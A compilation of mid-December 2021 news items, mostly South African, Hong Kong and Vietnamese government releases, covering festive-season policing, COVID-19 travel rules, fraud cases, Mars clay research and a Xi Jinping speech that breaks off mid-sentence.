South Africa: All systems go for SAPS festive season operational plans in Mpumalanga Police Minister Bheki Cele expressed satisfaction at operational plans put in place by the South African Police Service (SAPS) in Mpumalanga in preparation for the influx of visitors to the province for the festive season. The Minister was on Tuesday in the province for the second leg of his country-wide Safer Festive Season Inspection Tour. The province, known for its many holiday sites and tourist attractions, receives hundreds of thousands of visitors during the holiday season. Ministry spokesperson Lirandzu Themba in a statement said the provincial police management briefed the Police Ministry and national SAPS management on its safer festive season safety plans that started in October and will run until the end of January 2022. The Minister was accompanied by Police Deputy Minister Cassel Mathale and National Police Commissioner General Khehla Sitole and his management team. Police in Mpumalanga has amongst other interventions, strengthened its working relations with communities and has roped in members of the public to support crime fighting through the community policing structures and the SAPS Community in Blue initiative. Cele in the statement said it was through such partnerships that the country could turn the tide against crimes such as gender-based violence (GBV). He said: We simply cant afford to work in silos, not only during this period of festivities but beyond. I am very sure that the partnership that the SAPS in this province has with communities and other law enforcement agencies will reduce crime during this time. The partnership with law enforcement agencies and other government departments aims to track and combat cross-border crimes and the crossing of illicit goods through the Mpumalanga border with Mozambique. The monitoring of undocumented persons will also be heightened through the work of multi-department roadblocks. The Ministry said SAPS officers in Mpumalanga would ensure a safer festive season through crime prevention and crime combatting operations while maintaining high visibility at places of leisure and areas where people are likely to converge in numbers. It added that officers would also focus on dealing with the most prevalent crimes as well as any new, or opportunistic crimes. The Safer Festive season Inspection Tour will next make a stop in Gauteng on 16 December. SAnews.gov.za This story has been published on: 2021-12-15. To contact the author, please use the contact details within the article. South Africa: Robust discussions on social cohesion, racism key to building the nation As the country commemorates the 25th anniversary of the signing of the Constitution, citizens are encouraged to take part in conversations around social cohesion, anti-xenophobia, tribalism and racism aimed at building the nation. During a webinar on Tuesday, South Africans were urged to have these valuable discussions in order to understand what is needed to achieve building a united nation. The webinar on Social Cohesion, Anti-Xenophobia, Tribalism and Racism was hosted by Government Communication and Information Systems, in partnership with the Departments of Sport, Arts and Culture; Justice and Constitutional Development and the Institute of Race Relations. It aimed to communicate the importance of social cohesion and nation building in diverse communities, as well as highlight the root cause of social intolerance and possible solutions. In fostering SAs social cohesion, the Department of Sports, Arts and Culture has initiated the Social Cohesion Advocates programme aimed at mobilising society in its entirety to work together to build a caring society based on shared values. The departments Edwin Cleophas said the programmes vision is informed by advancing constitutional democracy, human rights and equality, promoting non-racialism, non-tribalism, Ubuntu and social solidarity. The Social Cohesion Advocates help us to feel that we belong in South Africa, make us feel proud of our country and increase our sense of identity and shared humanity, trust and respect for one another. [They] build respect and diversity. [They] help us to create a society in which everyone is valued, as enshrined in our Constitution, Cleophas said. Where there is a high level of social cohesion, Cleophas said, people help those who are marginalised and they care for one another. By working towards social cohesion, everyone living in SA benefits from that, and we are stronger working together, growing a strong healthy nation in which everyone can prosper. Each of us has a role to play as a powerful force in setting SA on a different path. The Social Cohesion Advocates have been hard at work, especially in areas where there are disruptions. Cleophas said during the July unrest, the advocates were sent out to start building social cohesion among communities at the grassroots. They also assisted in quelling tensions in Phoenix by setting up dialogues and meetings with community leaders in order to deescalate tensions and find common ground to move past the struggles that took place there. Weighing in on racism, Cleophas said many still struggle with it on a daily basis, whether it is structural, physically or mental oppression. Unless we undo the past patterns and institutional systemic negative enforcements that were left behind by apartheid, we wont get anywhere. We have to firstly deal with the dark negative past, undo all of those and we can continue building the nation, he said. He said the rewards of what social cohesion advocates are doing have been more significant, as communities are more positive. He noted that economic empowerment is also taking place. National Action Plan (NAP) to Combat Racism, Racial Discrimination, Xenophobia and Related Intolerance Despite collaborative efforts to implement the National Action Plan, as mandated by Cabinet, the country continues to experience high levels of discrimination based on race, nationality, social, ethnic origin, culture, sexual orientation and gender. We have noted that one of the challenges in implementation of the NAP is the lack of coordination amongst departments and other agencies involved. When looking at the progress in a nutshell, I want to mention that the NAP is closely aligned to governments Medium-Term Strategic Framework, in particular, priority of social cohesion and safer communities, which gives expression to Chapter 15 of the NDP [National Development Plan] 2030, said Ntibidi Rampete from the Department of Justice and Constitutional Development while giving a progress report on the NAP. Rampete said the department has been able to make significant progress in regards to some of the areas of the NAP, starting with progress in the Integrated Government Strategy on Public Education pertaining to anti-discrimination, which was finalised in March this year. The directory of service providers was also finalised. It is aimed at providing assistance to victims of racism, racial discrimination, xenophobia, homophobia and related intolerances. We also managed to complete a baseline study to determine the levels of racism, xenophobia, discrimination based on sexual orientation, gender identity and expression, racial incidents, inter-racial relations and perceptions of national identity. We plan to launch this study as part of the build-up activities towards the commemoration of the Anti-Racism Week in March 2022. All government departments are responsible for promoting and implementing the NAP, together with other institutions and agencies. On recommendations to improve, Rampete said there needs to be greater public awareness about discrimination faced by certain groups. We observed that there is a low level of trust in the police due to a number of historical reasons in SA. Vulnerable groups have had unpleasant encounters with the police force. Rampete said there is a need to improve the relationship between the police and society. Law enforcement officers need to undergo dignity and diversity training, or enhance the current training that is provided to promote compliance with the existing legislation framework and improve attitudes towards vulnerable groups. SAnews.gov.za This story has been published on: 2021-12-15. To contact the author, please use the contact details within the article. South Africa: Government welcomes UK decision to remove SA from red list The South African government has welcomed the announcement by the United Kingdom (UK) government to remove South Africa from its red list. The UK has lifted the travel ban it imposed on South Africa following the emergence of the Omicron variant. Addressing the departments end-of-year media briefing on Tuesday, International Relations and Cooperation Minister, Dr Naledi Pandor, said the unscientific travel ban had a devastating impact on two-way business, travel and tourism, and families. "We are pleased that diplomacy is bearing fruits. Some [countries] have already begun lifting these restrictions that are inflicting so much harm on our economy and families," Pandor said. Pandor said it is disheartening to note that even after revelations that the Omicron variant had long been in the backyard of many countries who rushed to close their borders, some have "remained silent [with] no further acknowledgement". Step in the right direction for SAs tourism sector Also commending the UKs decision to remove South Africa from the red list, Tourism Minister Lindiwe Sisulu said the latest decision to remove 11 African countries from the list means that hotel quarantine is no longer required for those returning to the UK from South Africa, as of 4am on 15 December. Todays announcement by the UK government is a step in the right direction for South Africas tourism sector. When South Africa was added to the red list last month, the implementation of hotel quarantine instead of at home quarantine was a huge deterrent for Brits who were considering travelling to South Africa at a time when our tourism industry was just beginning to recover, Sisulu said. Sisulu said the Omicron variant is being closely monitored to contain the virus and ensure the appropriate safety measures are in place. South African borders remain open, and our government and tourism industry have been working extremely hard to implement safety regulations to ensure that we are ready for all inbound visitors. The Minister thanked all tourism stakeholders for their hard work and dedication. She said the war room is yielding results with the country being removed for the red list. The UK announcement has come just in time to allow families and friends to unite over the festive season. We hope to welcome British travellers again very soon, Sisulu said. SAnews.gov.za This story has been published on: 2021-12-15. To contact the author, please use the contact details within the article. Hong Kong: 1 imported virus case detected The Centre for Health Protection today said it is investigating one additional imported COVID-19 case which involves the L452R mutant strain. The case concerns a 46-year-old man who arrived in Hong Kong from Germany. Additionally, an imported case announced earlier is confirmed with the Omicron variant, the centre noted. Case number 12498 involves a 21-year-old woman who flew in from the US on flight CX845 on December 12 and tested positive upon arrival in Hong Kong. She received two doses of the BioNTech vaccine on May 12 and June 2 in the US. She developed symptoms on December 11. After admission on December 12, she had a cycle threshold (Ct) value of less than 30 and tested positive for the antibody test. The whole genome sequencing conducted by the Department of Healths Public Health Laboratory Services Branch confirmed that the patient carried the Omicron variant of concern. So far, there are nine cases involving the Omicron variant in Hong Kong. As all nine cases were detected at the airport restricted area, a designated quarantine facility or designated quarantine hotel, the centre considers that there has not been a spread in the community. For information and health advice on COVID-19, visit the Government's dedicated webpage. This story has been published on: 2021-12-15. To contact the author, please use the contact details within the article. RTHK: Threats against pro-vaccine politician spark raids German police and special forces on Wednesday launched an operation in the eastern city of Dresden after death threats were issued against a top politician who backs coronavirus vaccines, authorities said. The security forces in Saxony staged raids following the threats from an anti-vaccine group against state premier Michael Kretschmer. "Statements from certain members of the group suggested they might have real weapons," police said in a statement, without indicating if any arrests had been made. Chancellor Olaf Scholz said Germany would defend itself against a violent minority of anti-vaccine militants who have threatened public officials. "We will not allow a tiny minority of uninhibited extremists to try to impose its will on the whole of society," Scholz said in his first speech as chancellor to parliament. "Germany will use all the means of its democratic rule of law to defend itself against this tiny minority of the hateful attacking the rest of us." The investigation was opened after journalists from public broadcaster ZDF infiltrated an encrypted Telegram chat and reported on December 7 that there were death threats allegedly issued against Kretschmer. ZDF revealed the contents of messages allegedly involving a hundred members of the chat group "linked by their opposition to vaccines, to the state and the current health policies", the public prosecutor's office said. Audio messages called for opposing "if necessary with weapons" the measures in place, targeting politicians and in particular, state premier Kretschmer. Authorities suspected "the preparation of a violent crime that threatens the state", Saxony police said on Twitter. A large, partly radicalised movement has emerged in Germany against health restrictions imposed during the Covid-19 pandemic. It is particularly strong in Saxony, in former communist East Germany, one of the regions worst hit by the resurgent coronavirus and where the vaccination rate is lower than the national average. At the beginning of December, protestors gathered outside the house of the Saxony state minister of health with torches and whistles, a demonstration which was condemned by politicians. In the midst of a strong fourth wave of the virus, the German government decided to strengthen restrictions on unvaccinated people, banning them from public venues, restaurants and non-essential commerce. Compulsory vaccination could be voted on by the German parliament in the coming weeks, with the obligation to get the jab coming into force in February or March. The number of individuals opposed to the health restrictions and prepared to use violence was between 15,000 and 20,000, Social Democrat security expert Sebastian Fiedler said on Tuesday in an interview with the German daily Bild. (AFP) This story has been published on: 2021-12-15. To contact the author, please use the contact details within the article. South Africa: Drivers urged to prioritise safety of road users Gauteng Traffic Police have urged drivers, particularly public transport operators, to make road safety a priority this festive season. The appeal comes after several accidents were reported during the first week of December. Traffic volumes are expected to increase on major roads in Gauteng, as more people are expected to travel to various destinations to spend time with their families this festive seasons weekend, the traffic police said on Wednesday. As part of the festive season operations, Gauteng Traffic Police will embark on various law enforcement operations, which include pedestrian operations, drunken driving operations, visible patrolling, K78 roadblocks, as well as driver and vehicle fitness operations. In addition, law enforcement will conduct speed law enforcement operations, reckless and negligent driving operations and incident management, amongst others. The Gauteng Traffic Police will work around the clock to ensure that the rules and regulations of the road are adhered to during the festive season. This is important to ensure many lives are saved on Gauteng roads, Gauteng Traffic Police spokesperson, Sello Maremane, said. As part of efforts to increase visibility in crime hotspots and enhance road safety in the province, the Gauteng Traffic Police will be out in full force using their recently purchased high-performance vehicles fitted with cutting-edge crime-fighting technology. The Gauteng Traffic Police will also patrol freeways as part of visible policing to ensure that there is no jay-walking and that drivers adhere to the prescribed speed limits. Pedestrians are the most vulnerable, with about over 40% of road fatalities emanating from this group. Taverns, shebeens and other liquor selling places will also be monitored closely to ensure that drunk drivers are removed from our public roads. There will be no room for lawlessness during the festive season, Maremane said. Through its Road Safety Unit, Gauteng Traffic Police will undertake several road safety awareness campaigns as part of efforts for a safer festive season. These activities are aimed at changing the attitude and behaviour of road users. SAnews.gov.za This story has been published on: 2021-12-15. To contact the author, please use the contact details within the article. South Africa: Manhunt for PPE fraudster The South African Police Service (SAPS) and the Hawks have requested the public assist in their pursuit of a woman who is alleged to have scammed unsuspecting investors of about R10 million. In a joint statement, SAPS and the Hawks said from June 2019 to date, Swereen Govender allegedly lured family and friends to invest in her personal protective equipment (PPE) business by promising lucrative dividends in return. Further investigation revealed that Govender initially payed minimum dividends to investors and then completely stopped at a later stage, and she has allegedly been lying to her investors that she cannot be contacted, as she has been placed in a witness protection programme, reads the statement. Multiple cases have been registered at various police stations in Gauteng, and have since been referred to the Hawks Serious Commercial Crime Investigation in Germiston for further investigation. The SAPS and Hawks said the investigation team had further revealed that Govender created fraudulent suppliers certificates from different government departments for PPE. They said Govender has since been positively linked and is wanted in relation to fraud cases in Gauteng. In some of the cases, she is alleged to have taken people's life savings, retirement and disability pensions, etc., leaving these people absolutely destitute. People are reminded to be extremely cautious when investing money with individuals. If an offer appears too good to be true, know that it probably is and one should rather consider investing one's capital with long standing reputable investment companies, reads the statement. A warrant has been issued for Govender's arrest, and the investigation team circulated her on the local and international movement control system. Anyone who knows the whereabouts of Govender or anyone who has fallen prey to her scam is urged to come forward with information to the investigating officer, Captain John Marepa, on 082 822 6351. Anyone caught harbouring Ms Swereen Govender must know that this is a criminal offence, the authorities said. SAnews.gov.za This story has been published on: 2021-12-15. To contact the author, please use the contact details within the article. South Africa: Assets of fraud convicted ex-Eskom employee seized The Asset Forfeiture Unit (AFU), together with the Hawks, has seized more than R11 million in assets belonging to fraud convicted Eskom financial controller, Mosia Moraka and Megra Transport owner, Victor Tshabalala. According to regional National Prosecuting Authority (NPA) spokesperson, Phindi Mjonondwane, Moraka and Tshabalala were convicted of fraud in September for colluding to defraud Eskom through the creation of fictitious invoices for Tshabalas company costing the State-owned power utility losses of at least R35 million. Mjonondwane said assets belonging to the two were seized on Tuesday. The assets that were identified in the restraint order included immovable properties linked to the two accused, as well as 32 vehicles registered to Megra Transport which were used in the business. A further three agricultural holdings in Springs, linked to Tshabalala, were found and are restrained. The AFU will proceed with an application to institute a confiscation enquiry aimed ultimately at the recovery of the stolen funds, Mjonondwana said. She said the two had pleaded guilty to defrauding Eskom and are expected to appear in court in February for sentencing. The fraud was uncovered by Eskoms forensic investigators following a whistleblowers report about alleged corruption between Eskom employees and the service provider, Megra Transport. The investigations revealed that Moraka, whilst employed at Eskom colluded with Tshabalala to create fictitious invoices for the payment of a [transport] route not covered by Eskom in terms of the [coal delivery] agreement between Eskom and Megra Transport, Mjonondwane said. SAnews.gov.za This story has been published on: 2021-12-15. To contact the author, please use the contact details within the article. Hong Kong: HK, Qianhai hold financial seminar Secretary for Financial Services & the Treasury Christopher Hui today attended the Hong Kong-Qianhai Financial Cooperation Seminar by video conferencing. Jointly held by the Financial Services & the Treasury Bureau and the Authority of Qianhai Shenzhen-Hong Kong Modern Service Industry Cooperation Zone of Shenzhen Municipality, the seminar involved in-depth discussion on the strategic direction of the future financial co-operation between Hong Kong and Qianhai. Mr Hui said: The seminar enables us to share our thoughts and, more importantly, listen to the insights of the financial industry practitioners and regulators. We will jointly push forward connectivity in respect of three major areas, namely capital, services and professions. We are dedicated with boundless ambition and lofty aspirations to create greater synergy and bring about rapid development that benefits both Hong Kong and Qianhai. He also said Hong Kongs community and financial industry were greatly encouraged by the Plan for Comprehensive Deepening Reform & Opening Up of the Qianhai Shenzhen-Hong Kong Modern Service Industry Cooperation Zone announced in September, and they are looking forward to the further co-operation between the two places. Mr Hui also pointed out that the Northern Metropolis Development Strategy proposed by the Chief Executive would bring opportunities to promote higher-level collaboration between Shenzhen and Hong Kong, so that the two cities can give full play to their dual-engine function in the Guangdong-Hong Kong-Macao Greater Bay Area. Taking todays opportunity, Mr Hui called on electors attending the seminar in Hong Kong to vote in the Legislative Council General Election this Sunday in order to elect new LegCo members dedicated to and capable of building a better Hong Kong. The ability of todays seminar participants to gather and discuss Hong Kong-Qianhai co-operation opportunities should be attributed to the implementation of the National Security Law and the improvement to the electoral system in Hong Kong promulgated by the central government, he noted. These provided Hong Kong with dual protection, allowing the city to return to the right track of focusing on social and economic development, he added. Everyones vote will help Hong Kong open a new era of good governance. It will also help us promote more financial co-operation with Qianhai and the Mainland, making our due contributions to the development of our country. The Hong Kong side of todays seminar was conducted at the Central Government Offices. Over 100 representatives from the Financial Services & the Treasury Bureau, financial regulators, financial institutions and the trade attended. Qianhai Authority Principal Liaison Officer for Hong Kong Witman Hung was also present. In Qianhai, participants included representatives from the Qianhai Authority, Shenzhen Finance Bureau, Shenzhen financial regulatory agencies, Qianhai enterprises, financial institutions, the trade and several banks eligible for launching the Cross-boundary Wealth Management Connect Pilot Scheme. This story has been published on: 2021-12-15. To contact the author, please use the contact details within the article. South Africa: NDA approves R300 000 funding to help fight GBVF The National Development Agency (NDA) granted an amount of R300 000 funding to Umtata Womens Support Centre (UWSC) to implement a Victim Empowerment Programme at King Sabata Dalindyebo Local Municipality in O.R Tambo District municipality. The programme, led by UWSC, uses an approach called Masiphunge (Lets Have a Cup of Tea) Women Empowerment Programme (MWEP), which provides a safe space for women to heal and encourage holistic wellness physically, spiritually and psychologically. As a result, the women who complete the programme are now whistle-blowers of gender-based violence and femicide (GBVF) in their own communities. The programme specifically targets women living in rural areas, including Baziya, Mpheko, Tabase, Ntshabeni, Msana and Bumbane, and bring them together to share a cup of tea whilst discussing matters that affect their daily lives. Through conversations, the women share their dreams, pains and achievements. The UWSC is an Eastern Cape-based organisation founded in 1999 that deals with gender-based violence, womens human rights, HIV/AIDS, sexual reproduction health and rights, and human trafficking in the area of O.R. Tambo District municipality. The support centre is the brainchild of Young Women Christian Association (YWCA) that set up the Centre because of approaches from desperate women, police and media reports on crime especially on women, which also affects children. NDA Provincial Manager, Nokulunga Skeyi said it is through NDA strategic partnerships and an effective capacity building programme that the agency is able to reach disadvantaged communities and contribute to critical causes such as GBFV. O.R Tambo district was identified as a hot spot for GBFV, I believe serious work has been achieved through the Masiphunge Programme. It is a pleasure to come and observe the outcome of the programme and we hope to do more in future, Skeyi said. Social Worker and Programme Director at Umtata Women Support Centre, Kholiwe Nongauza said the launch of the MWEP brought together, beneficiaries of the programme, and officials from various government departments and stakeholders, including community leaders and traditional leaders led by Chief Thanduxolo Mtirara, as well as the South African Police Services, National Prosecuting Authority and Women Rights International, amongst others. Masiphunge Women Empowerment Programme is a powerful instrument that is intended to heal women holistically mentally, physically and economically by implementing National Development Plan pillars 2, 3, 4 and 5 that focus on various interventions starting with prevention, through the justice system, care and healing and finally the economic emancipation of the participating women. We have seen significant changes and growth in all the women, particularly the women of Ntshabeni Village who have even mastered our last module that deals with forgiveness, Nongauza said. The Department of Social Development, has also pledged continue support the programmes, and expand it to other villages in the district and beyond. Self-defence classes are lauded to be one of the additional services that will be included within the programme. SAnews.gov.za This story has been published on: 2021-12-15. To contact the author, please use the contact details within the article. Hong Kong: SJ addresses corporate lawyers Secretary for Justice Teresa Cheng gave a presentation during a seminar today on the opportunities for Hong Kongs legal and dispute resolution sectors under the national development. Organised by the Association of Corporate Counsel Hong Kong, the seminar was attended by corporate lawyers from multinational corporations, statutory bodies, financial services and other professional sectors. Ms Cheng said the National 14th Five-Year Plan and the Outline Development Plan for the Guangdong-Hong Kong-Macao Greater Bay Area support Hong Kong to establish itself as the centre for international legal and dispute resolution services in the Asia-Pacific region. At the 59th Annual Session of the Asian-African Legal Consultative Organization (AALCO) held in Hong Kong last month, Premier Li Keqiang also announced the establishment of the AALCO Hong Kong Regional Arbitration Centre, clearly demonstrating the central governments support for Hong Kong to strengthen its position as a centre for arbitration and other dispute resolution services. Ms Cheng added that with the unique advantages of one country, two systems, Hong Kong has concluded a number of significant arrangements with the Mainland, including those involving interim measures and cross-boundary corporate insolvency. Hong Kong is the only jurisdiction outside the Mainland to have reached these arrangements, she stressed. Speaking on the business opportunities in the Mainland, Ms Cheng pointed out that the Department of Justice is exploring the feasibility of allowing wholly owned Hong Kong enterprises in Shenzhen to adopt Hong Kong law and choose for arbitration to be seated in Hong Kong. The GBA Legal Professional Examination to be held again in June next year, as well as the implementation of the United Nations Convention on Contracts for the International Sale of Goods next year will also help the legal sector tap into opportunities in the bay area and regions and countries along Belt & Road, she added. This story has been published on: 2021-12-15. To contact the author, please use the contact details within the article. A clay mineral known as smectite could hold a substantial portion of the water missing from Mars, according to new research from Binghamton University, State University of New York. Rivers and streams once flowed across the surface of Mars, etching channels still evident on the planet's surface today. Water in lakes once lapped ancient shores. But today, Mars' red sands appear bone-dry. Where did all that water go? Some of that water is trapped in the planet's polar ice caps, which behave like stone due to Mars' frigid temperatures. The rest may have gone underground, locked inside clay minerals such as smectite. New research from Binghamton University Geological Sciences and Environmental Studies Professor David Jenkins and former graduate student Brittany DePasquale provides information on how deep smectite could occur in the surface rocks of Mars. They found that iron-rich smectite, the least-stable form of smectite, can form to depths up to 30 km, much deeper than others might have predicted. In view of this rather robust stability for smectite, it appears that clay minerals are able to receive and store the missing water on Mars. "Up until recently many people, including myself, assumed that any water formerly existing on Mars was now present as ice stored at the polar caps and as subsurface ice," said Jenkins. "It is really just in the past several years that there has been enough data collected from satellites orbiting Mars to determine that there is not enough ice, nor enough loss of water vapor from the surface of Mars, to account for even the lower estimates of the amount of water that once existed on Mars. Once we saw that ferrous-iron-smectite, the least thermally stable form of smectite, was stable up to temperatures of about 600C at 30 km depth, it became clear that smectite might actually be a significant reservoir for the 'missing water' on Mars." The primary contribution of this study is that it provides maximum temperatures to which ferrous-iron-rich smectite can exist with increasing depth in Mars. Up to this point, previous studies have focused on demonstrating the low-temperature formation of smectite, but have not demonstrated how stable it can be. "This latter information is necessary if we are to try and determine to what depth the clay mineral smectite might occur on Mars," said Jenkins. Mars in a lab While many geologists head to mountains, valleys and other locations to parse the secrets of the Earth, Jenkins simply pops next door to his laboratory, a marriage between a chemistry lab and a machine shop. In its confines, he and his students can reproduce conditions that mimic anything from the surface of the Earth to the intense heat and pressure of its mantle -- or even more theoretical places, such as the early days of Mars. "I cook and squeeze materials to see how they respond, whether they're stable or not, whether they change their chemistry or their crystal structure and, if so, how do they do that?" he said. By cooking and squeezing smectite, Jenkins and DePasquale established a temperature ceiling for its formation, which may offer clues as to how and where the mineral formed on Mars. On Earth, smectite most often results from a reaction between rock and water; however, the conditions for that reaction, such as pressure and temperature, are still highly speculative. Unfortunately, there is currently no equipment on Mars that could drill deep enough to confirm that depth. However, the red planet has an underground shortcut of sorts: impact craters, which litter the surface of Mars, particularly in the southern hemisphere. The satellites orbiting the planet also collect remote sensing information that can relate to mineralogy, such as wavelengths of light reflected from the planet's surface. "Although this study helps affirm the importance of clay minerals as a potential reservoir for water on Mars, it certainly is not the final word on this subject. The more difficult question of the total amount of clay minerals in the surface or near-surface environment of Mars is yet to be determined with the precision needed to really confirm that clay minerals may be the dominant water reservoir on Mars." The paper, "The upper-thermal stability of an iron-rich smectite: Implications for smectite formation on Mars," was published in Icarus. Astrobiology Please follow Astrobiology on Twitter. Vietnam Airlines reports USD562m loss for 2021 National flag carrier Vietnam Airlines may incur an estimated loss of over VND 12.90 trillion (USD562 million) in 2021 and will plan to sell 12 planes between 2022-2023 to help finance its operations. The information has just been announced at the extraordinary general meeting of the Vietnam Airlines Corporation held on Tuesday. At the meeting, Vietnam Airlines shareholders approved seven solutions for restructuring the company during the 2021-2025 period. Some of the main solutions included negotiating cheaper plane charter services, selling old planes, and adjusting investment lists. Vietnam Airlines would also issue more shares and seek more capital from other channels. According to the company's report, it saved VND5.12 trillion from cutting costs in 2020 and expected to save VND 6 trillion in 2021. Besides cutting costs, the company has also tried to raise revenues by operating repatriation flights or flights carrying foreign experts and cargo. Tran Thanh Hien, the airline's chief accountant said that they have been harder hit by Covid-19 pandemic this year compared to 2020 and are facing "very bad financial problems". CEO Le Hong Ha said that the domestic market was now very important to the company but had also been badly affected by the recent virus outbreaks. Vietnam Airlines CEO Le Hong Ha speaks at the meeting "Weve seen only between 62-65 percent of seats being filled on the Hanoi - HCM City route after the flight numbers were increased to 16 flights daily, compared to the rate of 95 percent earlier," Ha said. Talking about plans for 2022, Vietnam Airlines CEO said that they expected air transportation to regain between 70-75 percent and international air transport up by between 20-25 percent of 2019's figure before the Covid-19 pandemic arrived. "The International Air Transport Association IATA has forecasted that the domestic and international air markets will fully recover by the end of 2023 and 2024, respectively," he said. Ha added that the airline would need to restructure its fleet to reduce costs and have more modern aircraft. "We'll negotiate with partners to agree better charter fees," he said. "The airline now has a total of 104 aircraft and we would sell those of 12 years old or more. We sold nine A321 and 6 AT72 craft in 2019 and want to sell 12 more A312 aircraft between 2022-2023." UNFPA supports Vietnam with medical supplies and personal protective equipment The United Nations Population Fund (UNFPA) in Vietnam on Wednesday handed over the Personal Protective Equipment (PPE) and medical equipment to target health facilities in many localities in Vietnam including Ho Chi Minh City and Hanoi. UNFPA in Vietnam handed over the Personal Protective Equipment (PPE) and medical equipment to Vietnam on December 15. Beneficiaries also include medical staff, voluntary caregivers, and the community COVID-19 prevention task forces for the protection of pregnant women, older persons, and women and girls at risk of domestic violence. Worth more than USD 450,000, UNFPAs medical supplies aims at ensuring the right and safety of vulnerable population groups in Vietnam and a continuous delivery of quality services on sexual and reproductive health, elderly care, and gender-based violence amid COVID-19. Vietnam has confirmed over 1.44 million COVID-19 infections and the death toll of more than 28,000 or 2 percent of the national caseload, according to the Ministry of Health. And many of the COVID-19 affected are older persons. It is clear that the fatality rate for older persons is higher, and for those over 80, it is even five times higher than the global average. The UNFPA Representative for Vietnam, Ms. Naomi Kitahata confirms that prioritizing the needs of the vulnerable population groups such as pregnant women, older persons, women and adolescent girls at risk of violence is a human rights imperative. "UNFPA is working towards achieving a Vietnam with zero preventable maternal deaths, zero unmet need for family planning, and zero gender-based violence and other harmful practices for women and girls, she said. Australian delegation visits projects in northwest Vietnam A delegation from the Australian Embassy in Vietnam has visited farmers and businesses who are benefiting from Australian-funded projects in some northwestern provinces. Mr Mark Tattersal, Deputy Ambassador, Australian Embassy in Vietnam visits Mr. Lechs strawberry nursery at his house in Mon village, Mai Son district, Son La province. The delegation, led by Australias Deputy Ambassador to Vietnam, Mark Tattersall, visited the projects which are being carried out by local people following Australian long-term partnership with Vietnam through the Gender Responsive Equitable Agriculture and Tourism (GREAT) program, the Aus4innovation program, and the Australian Centre for International Agricultural Research (ACIAR). During the three-day visit from December 12-14, the delegation met with farmers and local agricultural officers from Yen Bai, Son La and Dien Bien provinces who have participated in a 10-year ACIAR project led by World Agroforestry (ICRAF) to develop market-based agroforestry systems in the region. To date, 425 smallholder families participating in the projects have successfully applied agroforestry systems to increase income, while protecting the quality of their soil, land and environment. Since 1993, ACIAR has invested around A$32million through 20 international collaborative research projects in northwest Vietnam to develop sustainable farming systems on sloping lands, diversify agricultural products, protect natural resources, and improve farmers income. The visit to GREATs partners included an inspection of Xuan Nha Clean Bamboo Shoot Cooperative in Xuan Nha Commune, Van Ho District and dinner with local women homestay owners in Vat Village, Moc Chau District. The delegation heard how the program has helped local women producer and community-based tourism groups connect to high-value markets. Despite the impact of COVID-19, the GREAT program has achieved positive results including 2,803 new jobs for women,14,833 women joining business networks and A$8.5 million co-invested by the private sector. The GREAT program is Australias single largest development investment in Vietnam, totaling over A$32 million.The program works with business, NGO and government partners to build more inclusive business and market systems within the agriculture and tourism sectors in Son La and Lao Cai provinces, to ensure that local women and ethnic minorities actively participate in and benefit from related economic activities and growth. The Deputy Ambassador also joined with local farmers and businesses in a field visit, hosted by the Aus4Innovation program, to demonstrate CoolBot - an innovative and affordable cooling technology that helps maintain the quality of vegetable post-harvest. This investment builds on work done by both ACIAR and the GREAT program and is adding innovative technology to support farmers to access markets and increase their incomes. So far, eight walk-in coolers and two refrigerated trucks have been developed and transferred to local cooperatives. Initial results indicate that with cool storage and transport, vegetable losses could be reduced from 50% to 25%; shelf life will be extended four-fold from 5 to 21 days for tomatoes and cabbages; and economic benefits to users can potentially improve by 10% to 30%. In a meeting with the Son La Peoples Committee, the Deputy Ambassador noted the close partnership between Australia and Son La, discussed Australian investment in the province and canvassed opportunities to further strengthen ties. The partnership between Australia and the north-western provinces of Vietnam is deep and enduring. It comprises long-term development programming, strong people to people links, as well as substantial Australian investment in mineral resources that are critical to the clean energy transition, said Mr Tattersall. UNESCO recognises Xoe Thai as Intangible Cultural Heritage of Humanity The Xoe dance performed by the Thai ethnic minority people of Vietnam has been officially recognised by UNESCO as the Representative of the Intangible Cultural Heritage of Humanity. Xoe dance by the Thai ethnic minority people of Vietnam (Photo: VNA) The honour was unveiled during the 16th session of the UNESCO's Intergovernmental Committee for the Safeguarding of the Intangible Cultural Heritage that is taking place from December 13 to December 18. Along with 48 other nominations, Xoe Thai has successfully met all five criteria set forth by UNESCO. The recognition of Xoe Thai as the Representative of the Intangible Cultural Heritage of Humanity therefore affirms the international communitys appreciation of Vietnamese cultural values. It also serves to elevate the countrys position as part of the world's intangible cultural map, and at the same time to promote the UNESCOs endeavor to preserve and develop heritage values. Ambassador Le Thi Hong Van, permanent representative of Vietnam to UNESCO, emphasised that the event has contributed to enriching the diverse cultural landscape of Vietnam in particular and of the world in general. It has also helped to introduce the quintessential nature of Vietnamese culture full of tradition and identity, as well as to elevate the image of a dynamic country and a friendly, hospitable people to the wider international community, Ambassador Van said. She added that the inscription is anticipated to facilitate economic and cultural development in localities and communities in a sustainable manner. Xoe Thai is a unique type of traditional dance that is closed associated with and plays a significant role in the daily life of the Thai ethnic communities residing in the northwestern part of Vietnam, especially in the provinces of Lai Chau, Dien Bien, Son La, and Yen Bai. It is performed during various community activities, from festivals to funeral rituals. Xoe Thai is Vietnams 14th intangible cultural heritage recognised by UNESCO and also the fifth that has won the organisations title this year. Xi stresses cultural confidence at major conference of artists, writers Xinhua) 08:08, December 15, 2021 Chinese President Xi Jinping, also general secretary of the Communist Party of China Central Committee and chairman of the Central Military Commission, delivers an important speech at the opening ceremony of the 11th National Congress of China Federation of Literary and Art Circles and the 10th National Congress of China Writers Association at the Great Hall of the People in Beijing, capital of China, Dec. 14, 2021. (Xinhua/Rao Aimin) BEIJING, Dec. 14 (Xinhua) -- Chinese President Xi Jinping on Tuesday called on Chinese artists and writers to boost their awareness of and confidence in Chinese culture, create new prospects for Chinese literature and art, and add new luster to Chinese culture. Xi, also general secretary of the Communist Party of China (CPC) Central Committee and chairman of the Central Military Commission, made the remarks at the opening ceremony of the 11th National Congress of China Federation of Literary and Art Circles and the 10th National Congress of China Writers Association. Over the past 100 years, the Party has led the literary and art front to blaze a path of development that is guided by Marxism, suited to China's national conditions and cultural traditions, and holds high the people-centered nature, Xi said. Noting that contemporary China has great prospects, Xi said this era has provided an unprecedented broad stage for literature and art to bloom. He urged people of the sector to shoulder the responsibility to develop a great socialist culture in China, saying that they can accomplish a great deal. Xi said those on the literary and art front should adhere to serving the people and socialism, follow the policy of "letting a hundred flowers bloom and a hundred schools of thought contend," push for creative transformation and development, and rise up to their tasks and missions. All these efforts will help present a new look of China's literature and art and add new luster to Chinese culture, thus contributing to realizing the Chinese Dream of national rejuvenation, Xi added. Also attending Tuesday's meeting were Li Keqiang, Li Zhanshu, Wang Yang, Wang Huning, Zhao 